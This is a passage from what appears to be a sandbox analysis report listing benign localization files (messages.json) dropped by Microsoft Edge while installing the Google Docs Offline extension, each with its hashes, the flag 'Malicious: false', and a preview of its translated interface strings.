File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
